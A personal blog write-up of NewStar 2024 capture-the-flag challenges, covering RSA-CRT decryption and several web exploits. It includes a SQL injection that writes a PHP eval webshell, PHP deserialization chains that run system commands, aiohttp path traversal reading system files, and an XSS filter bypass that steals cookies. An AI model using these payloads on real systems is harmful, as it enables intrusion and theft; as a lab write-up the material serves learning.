from Crypto.Util.number import *
from gmpy2 import *


def solve_rsa_crt(c, p, q, dp, dq):
# Calculate q_inv = q^(-1) mod p
q_inv = int(invert(q, p))

# Calculate message parts using CRT
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)

# Use CRT to combine results
h = (q_inv * (m1 - m2)) % p
m = m2 + h * q

return m


# Given values
c = 312026920216195772014255984174463085443866592575942633449581804171108045852080517840578408476885673600123673447592477875543106559822653280458539889975125069364584140981069913341705738633426978886491359036285144974311751490792757751756044409664421663980721578870582548395096887840688928684149014816557276765747135567714257184475027270111822159712532338590457693333403200971556224662094381891648467959054115723744963414673861964744567056823925630723343002325605154661959863849738333074326769879861280895388423162444746726568892877802824353858845944856881876742211956986853244518521508714633279380808950337611574412909
p = 108043725609186781791705090463399988837848128384507136697546885182257613493145758848215714322999196482303958182639388180063206708575175264502030010971971799850889123915580518613554382722069874295016841596099030496486069157061211091761273568631799006187376088457421848367280401857536410610375012371577177832001
q = 121590551121540247114817509966135120751936084528211093275386628666641298457070126234836053337681325952068673362753408092990553364818851439157868686131416391201519794244659155411228907897025948436021990520853498462677797392855335364006924106615008646396883330251028071418465977013680888333091554558623089051503
dp = 11282958604593959665264348980446305500804623200078838572989469798546944577064705030092746827389207634235443944672230537015008113180165395276742807804632116181385860873677969229460704569172318227491268503039531329141563655811632035522134920788501646372986281785901019732756566066694831838769040155501078857473
dq = 46575357360806054039250786123714177813397065260787208532360436486982363496441528434309234218672688812437737096579970959403617066243685956461527617935564293219447837324227893212131933165188205281564552085623483305721400518031651417947568896538797580895484369480168587284879837144688420597737619751280559493857

# Solve and convert result to text
m = solve_rsa_crt(c, p, q, dp, dq)
flag = long_to_bytes(m)
print(f"Decrypted flag: {flag.decode()}")

web

sqlshell(复现)

没想到直接这么写orz

1
alice' union select 1,'<?php eval($_POST[1]);?>',3 INTO OUTFILE '/var/www/html/orange.php'#
1
1=system('cat /you_cannot_read_the_flag_directly');

臭皮吹泡泡(复现)

好长的pop链当时有其他比赛自己也没细看,跟着学学吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 <?php
error_reporting(0);
highlight_file(__FILE__);

class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}



$signin = $_GET['new_star[ctf'];
if ($signin) {
$signin = base64_decode($signin);
unserialize($signin);
}else{
echo "你是真正的CTF New Star 吗? 让我看看你的能力";
}

先讲一下野生wp的

1
2
3
4
5
6
7
$exp=new happy;
$exp->sign_in=new ctf;
$expp = new let_me;
$expp->let_me = "\nsystem(\$_GET[1]);";
$expp->time = new study;
$exp->sign_in->ctf=array($expp,'get_flag');
echo serialize($exp);

最后肯定是需要进到getflag()写文件进去执行rce,最后的代码里由于有.可以被当成语句触发调用__tostring(),然后利用数组调用($this->ctf)(1);这里有换行是为了过滤前面的内容,提前闭合。至于调用study我不太明白,问的ai说的是保持链的生命周期。

原理是在unlink之前触发catch异常防止删掉code.php,懂博主在说什么实操不怎么顺利。

学一下官p的思路

官p的关键点是 ($this->ctf)(1);这里的ctf可以赋值为sleep,这样可以先执行睡眠1s再删除文件

1
2
3
4
5
6
7
8
$payload  = new happy();
$payload ->sign_in = new ctf();
$exp = new let_me();
$exp->let_me="?> <?php system('cat /flag');";
$exp->time=new ctf();
$exp->time->ctf="sleep";
$payload ->sign_in->ctf = array($exp,"get_flag");
echo base64_encode(serialize($payload));

由于类似于条件竞争,所以需要手速快一点或者用脚本。

臭皮的网站(复现)

源码给了提示

1
2
YWlvaHR0cD8gbmdpbng/IHJlYWRmaWxlPw==
aiohttp? nginx? readfile?

网站是 aiohttp 框架,考察的是CVE-2024-23334

57

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
HTTP/1.1 200 OK
Server: nginx/114.5.14
Content-Type: text/x-python
Etag: "17f68b1f9ac4ce00-fe6"
Last-Modified: Thu, 19 Sep 2024 04:34:35 GMT
Content-Length: 4070
Accept-Ranges: bytes
Date: Sun, 10 Nov 2024 13:10:38 GMT
Connection: close

import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1


adminname = "admin"


def CreteKey():
key_bytes = secrets.token_bytes(32)
key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
return key_str


def authenticate(username, password):
if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
return True
else:
return False


async def middleware(app, handler):
async def middleware_handler(request):
try:
response = await handler(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except web.HTTPNotFound:
response = await handler_404(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except Exception:
response = await handler_500(request)
response.headers['Server'] = 'nginx/114.5.14'
return response

return middleware_handler


async def handler_404(request):
return web.FileResponse('./template/404.html', status=404)


async def handler_500(request):
return web.FileResponse('./template/500.html', status=500)


async def index(request):
return web.FileResponse('./template/index.html')


async def login(request):
data = await request.post()
username = data['username']
password = data['password']
if authenticate(username, password):
session = await get_session(request)
session['user'] = 'admin'
response = web.HTTPFound('/home')
response.session = session
return response
else:
return web.Response(text="账号或密码错误哦", status=200)


async def home(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
return web.FileResponse('./template/home.html')
else:
return web.HTTPFound('/')


async def upload(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
reader = await request.multipart()
file = await reader.next()
if file:
filename = './static/' + file.filename
with open(filename,'wb') as f:
while True:
chunk = await file.read_chunk()
if not chunk:
break
f.write(chunk)
return web.HTTPFound("/list")
else:
response = web.HTTPFound('/home')
return response
else:
return web.HTTPFound('/')


async def ListFile(request):
session = await get_session(request)
user = session.get('user')
command = "ls ./static"
if user == 'admin':
result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
files_list = result.stdout
return web.Response(text="static目录下存在文件\n"+files_list)
else:
return web.HTTPFound('/')


async def init_app():
app = web.Application()
app.router.add_static('/static/', './static', follow_symlinks=True)
session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
app.middlewares.append(middleware)
app.router.add_route('GET', '/', index)
app.router.add_route('POST', '/', login)
app.router.add_route('GET', '/home', home)
app.router.add_route('POST', '/upload', upload)
app.router.add_route('GET', '/list', ListFile)
return app


web.run_app(init_app(), host='0.0.0.0', port=80)

这里 admin 密码使用了随机数,然而随机数的 randseed 设置如下,random.seed(uuid.getnode()).

这里种子是固定值,即 MAC 地址,可以通过文件读取获取这个种子。

1
/static/../../sys/class/net/eth0/address

读取到mac地址

1
c6:7a:dd:01:e8:13#c67add01e813
1
2
3
4
5
import random
import string
random.seed(0xc67add01e813)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))
#xPcTBtpn

得到密码就可以正常登入了

定位一下上传文件的代码,简单分析进行以下操作

58

59

最后直接用开始的目录穿越就可以得到flag了

60

PangBai 过家家(5)(复现)

bot.ts里有内容

1
2
3
4
5
6
7
8
await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});
1
<img src=# onerror=alert(1);//

可以绕过但是不出网

跟踪附件中的后端源码,page.ts 中的 /box/:id 路由,会渲染我们的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/box/:id', async (ctx, next) => {
const letter = Memory.get(ctx.params['id'])
await ctx.render('letter', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
sub_title: '查看信件',
id: ctx.params['id'],
hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
data: letter ? {
title: safe_html(letter.title),
content: safe_html(letter.content)
} : { title: TITLE_EMPTY, content: CONTENT_EMPTY },
error: letter ? null : '找不到该信件'
})
})

但是输入的内容都经过了 safe_html 过滤

1
2
3
4
5
6
function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}

可见这只是一个正则替换,正则中各个标志的作用:

  • i 标志:忽略大小写

  • g 标志:全局匹配,找到所有符合条件的内容

  • m 标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配

    由于 m 的存在,匹配开始为行首,匹配结束为行尾,因此我们只需要把 <> 放在不同行即可

1
2
3
4
5
6
7
8
9
<script
>
fetch('/api/send', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

还看的一种野生的方法,记录一下

1
<img src=# onerror=fetch("/api/send",{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({"title":"123123123","content":document.cookie})});//

大体是一致的思路,只是为了绕过xss的限制

ez_redis(复现)

这题考察是cve,直接扔链接了,好累

vulhub/redis/CVE-2022-0543/README.zh-cn.md at master · vulhub/vulhub (github.com)


Newstar2024
https://0ran9ewww.github.io/2024/11/04/Newstar/Newstar2024/
作者
orange
发布于
2024年11月4日
许可协议